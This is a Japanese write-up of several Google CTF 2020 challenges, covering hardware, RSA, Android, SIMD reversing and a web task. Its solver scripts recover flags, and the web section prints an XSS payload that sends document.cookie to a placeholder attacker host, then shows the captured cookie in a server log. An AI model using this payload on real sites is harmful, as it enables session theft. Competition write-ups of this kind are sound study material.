5問解いて、342点 133位。
Google CTFは難しい。去年まであった初心者向けステージも無くなった。
Write-upに対する賞金が40チームに出るらしい。面白解き方をした問題のひとつもあればワンチャンありそうだけど……無いな。
hardware
BASICS (easy)
easyタグが付いている問題が各ジャンル1問ずつある。
module check(
input clk,
input [6:0] data,
output wire open_safe
);
reg [6:0] memory [7:0];
reg [2:0] idx = 0;
wire [55:0] magic = {
{memory[0], memory[5]},
{memory[6], memory[2]},
{memory[4], memory[3]},
{memory[7], memory[1]}
};
wire [55:0] kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] };
assign open_safe = kittens == 56'd3008192072309708;
always_ff @(posedge clk) begin
memory[idx] <= data;
idx <= idx + 5;
end
endmodule
拡張子からしてSystem Verilog？
$ sudo apt install verilator
$ verilator --cc check.sv --exe main.cpp
$ cd obj_dir/
$ make -f Vcheck.mk
$ ./Vcheck
で動かせる。
「Verilogの記法を知っていますか？」という問題だよな。kittensが56'd3008192072309708になれば良い。56はビット幅、dは10進数を示している。
kittens = 00001010 10101111 11101111 01001011 11100010 11011011 11001100
kittensの定義の部分は、magicの（下位ビットから数えて）0ビット目から9ビット目、22ビット目から41ビット目、…の意味。中央の2個はmagic[41:10]と同値だな。
magic = 0110111 1001100 1011111 1101111 0100101 1111000 1011000 0101010
あとは、memoryの並び替えと、入力の+5（と8の剰余を取る）を考慮して、
0110111 1001100 1101111 1011000 0100101 0101010 1011111 1111000
を入力すれば良い。7LoX%*_x。
$ nc basics.2020.ctfcompetition.com 1337
Enter password:
7LoX%*_x
CTF{W4sTh4tASan1tyCh3ck?}
CTF{W4sTh4tASan1tyCh3ck?}
crypto
CHUNK NORRIS (easy)
# !/usr/bin/python3 -u
import random
from Crypto.Util.number import *
import gmpy2
a = 0xe64a5f84e2762be5
chunk_size = 64
def gen_prime(bits):
s = random.getrandbits(chunk_size)
while True:
s |= 0xc000000000000001
p = 0
for _ in range(bits // chunk_size):
p = (p << chunk_size) + s
s = a * s % 2**chunk_size
if gmpy2.is_prime(p):
return p
n = gen_prime(1024) * gen_prime(1024)
e = 65537
flag = open("flag.txt", "rb").read()
print('n =', hex(n))
print('e =', hex(e))
print('c =', hex(pow(bytes_to_long(flag), e, n)))
普通のRSAだけど、素数pとqの生成方法が特殊。
p = s_1a^0\%2^{64} | s_1a^1\%2^{64} | \dots | s_1a^{14}\%2^{64} | s_1a^{15}\%2^{64} \\
q = s_2a^0\%2^{64}| s_2a^1\%2^{64} | \dots | s_2a^{14}\%2^{64} | s_2a^{15}\%2^{64}
ただし、$|$は64ビットのビット列として繋げる演算とする。
「こんなんどうするんだ」と最初は思ったけど、この問題が解けるなら、どこかで128ビット整数を因数分解して2個の64ビット整数を得るステップがあるよな。ということで、$n$の下位128ビットを考える。乗算によって下位128ビットに影響を与えるのは、乗数と被乗数の下位128ビットだけ。$n = n_{16}|\dots|n_2|n_1$とすると、
\left(s_1a^{14}\%2^{64}|s_1a^{15}\%2^{64}\right)\left(s_2a^{14}\%2^{64}|s_2a^{15}\%2^{64}\right)=n_2|n_1 \\
\left(2s_1s_2a^{29}+\left(s_1a^{15}\%2^{64}\right)\left(s_2a^{15}\%2^{64}\right)/2^{64}\right)\%2^{64}|\left(s_1a^{15}\%2^{64}\right)\left(s_2a^{15}\%2^{64}\right)\%2^{64}=n_2|n_1 \\
\left(2n_1a^{-1}+\left(s_1a^{15}\%2^{64}\right)\left(s_2a^{15}\%2^{64}\right)/2^{64}\right)\%2^{64}=n_2 \\
\left(s_1a^{15}\%2^{64}\right)\left(s_2a^{15}\%2^{64}\right)=\left(n_2-2n_1a^{-1}\right)\%2^{64}|n_1
ということで、128ビットの$\left(s_1a^{15}%2^{64}\right)\left(s_2a^{15}%2^{64}\right)$の値が得られる。因数分解すると$s_1a^{15}%2^{64}$と$s_2a^{15}%2^{64}$の値が得られる（$s_1a^{15}%2^{64}$などは素数とか限らないので候補は複数ある）。あとは$a^{-1}$を掛ければ$s_1$と$s_2$になる。128ビットの素因数分解にはmsieveを使った。
from Crypto.Util.number import *
n = 0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19
e = 0x10001
c = 0x6a12d56e26e460f456102c83c68b5cf355b2e57d5b176b32658d07619ce8e542d927bbea12fb8f90d7a1922fe68077af0f3794bfd26e7d560031c7c9238198685ad9ef1ac1966da39936b33c7bb00bdb13bec27b23f87028e99fdea0fbee4df721fd487d491e9d3087e986a79106f9d6f5431522270200c5d545d19df446dee6baa3051be6332ad7e4e6f44260b1594ec8a588c0450bcc8f23abb0121bcabf7551fd0ec11cd61c55ea89ae5d9bcc91f46b39d84f808562a42bb87a8854373b234e71fe6688021672c271c22aad0887304f7dd2b5f77136271a571591c48f438e6f1c08ed65d0088da562e0d8ae2dadd1234e72a40141429f5746d2d41452d916
a = 0xe64a5f84e2762be5
chunk_size = 64
# def gen_prime(bits):
# s = random.getrandbits(chunk_size)
def gen_prime(s):
bits = 1024
while True:
s |= 0xc000000000000001
p = 0
for _ in range(bits // chunk_size):
p = (p << chunk_size) + s
s = a * s % 2**chunk_size
#if gmpy2.is_prime(p):
# return p
return p
m = 2**64
n1 = n%m
n2 = n//m%m
r = (n2-2*n1*inverse(a, m))%m
s12a = r*m+n1
print("s12a", s12a)
f = [11, 13, 109, 223, 1290533, 4608287, 167541865434116759]
mf = 1
for t in f:
mf *= t
assert mf==s12a
for b in range(2**(len(f)-1)):
s1a = 1
s2a = 1
for i in range(len(f)):
if b>>i&1:
s1a *= f[i]
else:
s2a *= f[i]
s1 = s1a*inverse(a, m)**15%m
s2 = s2a*inverse(a, m)**15%m
if ((s1&0xc000000000000001)==0xc000000000000001 and
(s2&0xc000000000000001)==0xc000000000000001):
p1 = gen_prime(s1)
p2 = gen_prime(s2)
if p1*p2==n:
print("s1", hex(s1))
print("s2", hex(s2))
d = inverse(e, (p1-1)*(p2-1))
p = pow(c, d, n)
print(long_to_bytes(p))
$ python3 solve.py
s12a 3463373886635289660353622154000952089
s1 0xca2a30eeafeed9d7
s2 0xd92b9470cb2c9ab7
b'CTF{__donald_knuths_lcg_would_be_better_well_i_dont_think_s0__}\n'
CTF{__donald_knuths_lcg_would_be_better_well_i_dont_think_s0__}
pwn
TRACING (easy)
「easyなら解けるかな～」と思いながら問題を開いたら、Rustでそっ閉じ。
reversing
ANDROID
Ghidraで開いてみるとApparently this is not the flag. What's going on?という文字列と比較している。もちろんこれはダメ。Apktoolで逆アセンブルしたsmaliファイルを見ると、この文字列比較の後にまだ処理がある。何だこれ。dex2jarはそもそもこのクラスが出てこない。信じられるのはsmalidだけ。面倒だけど読む。
őに謎の数列があり、Rにはユークリッドの互除法のようなコードがあり、ő$1にe、m、g、invといった変数がある。処理を読み切れていないけど、ためしに謎の数列の$2^{32}$の逆数を取ったら答えだった。入力されたフラグを逆数と比較するよりも、フラグと数字を掛けて1になるかどうかを調べる処理にしたほうが難しいのでは 
と思ったけど……良く考えると前者の方が処理を読むのが面倒か。
from Crypto.Util.number import *
A = [
0x0271986b,
0xa64239c9,
0x271ded4b,
0x01186143,
0xc0fa229f,
0x690e10bf,
0x28dca257,
0x16c699d1,
0x55a56ffd,
0x7eb870a1,
0xc5c9799f,
0x2f838e65,
]
ans = ""
for a in A:
ans += ("%x"%inverse(a, 2**32)).decode("hex")[::-1]
print ans
>py -2 solve.py
CTF{y0u_c4n_k3ep_y0u?_m4gic_1_h4Ue_laser_b3ams!}
CTF{y0u_c4n_k3ep_y0u?_m4gic_1_h4Ue_laser_b3ams!}
BEGINNER (easy)
SIMD。読み込んだ文字列を128ビットの整数にして、バイトごとにシャッフル、32ビットごとに定数を足す、定数とxor、として元の整数と一致していて、先頭がCTF{ならOK。
先頭が分かっているのだから、そこから逆算して他を埋めていくという感じでいけそう。問題は32ビットごとの足し算。繰り上がりがある。まあ、バイトごとに繰り上がるかどうかは$2^{16}$通りしかないから全部試せば良いか。
XOR = [0x76, 0x58, 0xb4, 0x49, 0x8d, 0x1a, 0x5f, 0x38, 0xd4, 0x23, 0xf8, 0x34, 0xeb, 0x86, 0xf9, 0xaa]
ADD32 = [0xef, 0xbe, 0xad, 0xde, 0xad, 0xde, 0xe1, 0xfe, 0x37, 0x13, 0x37, 0x13, 0x66, 0x74, 0x63, 0x67]
SHUFFLE = [0x02, 0x06, 0x07, 0x01, 0x05, 0x0b, 0x09, 0x0e, 0x03, 0x0f, 0x04, 0x08, 0x0a, 0x0c, 0x0d, 0x00]
for b in range(2**16):
ADD = [ADD32[i]+(b>>i&1) for i in range(16)]
A = [-1]*16
for i in range(4):
A[i] = ord("CTF{"[i])
A[15] = 0
while True:
up = False
for i in range(16):
if A[SHUFFLE[i]]>=0:
a = (A[SHUFFLE[i]]+ADD[i])&0xff^XOR[i]
if A[i]==-1:
A[i] = a
up = True
if not up:
break
a = "".join(map(chr, A))
if "}" in a:
print a
>py -2 solve.py
CTF{S1FCf7sM1 }
CTF{S1FCf7sM1 }
CTF{S1FCf7sM1 }
:
CTF{S1FDf7sM1 }
CTF{S1FDf7sM1 }
いっぱい出てくるので、それっぽいものをサブミット。目で探さなくても候補がチェックを通るかどうかを確認すれば良かったか。
CTF{S1MDf0rM3!}
.NET
正解者が1桁人（最終的には40人）しかいなかったけど、なぜか見てみた。
特に難読化もされていない。フラグを読み込んでBase64の要領で0-63の整数に直し、大量の不等式のチェックを通ればOK。不等式はz3に解かせれば良い。簡単では？と思ったけど通らない。
同梱されている0Harmony.dllで動的にパッチを当てているらしい。差し替え先はネイティブコード。どうするんだろう。.NETとしてではなく通常のexeだと思って頑張って処理を探すか……？とか考えたけど、正解者が少ないということはこの先も大変なのだろうと思って諦め。正解者が少ない問題に特攻するのは止めよう。
web
PASTEURIZE (easy)
XSS問。
DOM Based XSSがありそうに見えたけど、DOMPurify.sanitizeが掛かっていた。DOMPurifyと闘うのは無理。
:
/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
:
const unsafe_content = note.content;
const safe_content = escape_string(unsafe_content);
:
という処理がある。怪しい。content[]=;location='http://xxxx/'%2Bdocument.cookie;//を投げると、
<script>
const note = "";location='http://xxxx/'+document.cookie;//"";
となる。unsafe_contentが["hoge"]にでもなるのかな？ 一旦DBを経由しているのにこんなことになるのか。
このページを送りつけると、
xxx.xxx.xxx.xxx - - [22/Aug/2020 19:36:01] "GET /secret=CTF%7BExpress_t0_Tr0ubl3s%7D HTTP/1.1" 404 -
というアクセスが来る。
CTF{Express_t0_Tr0ubl3s}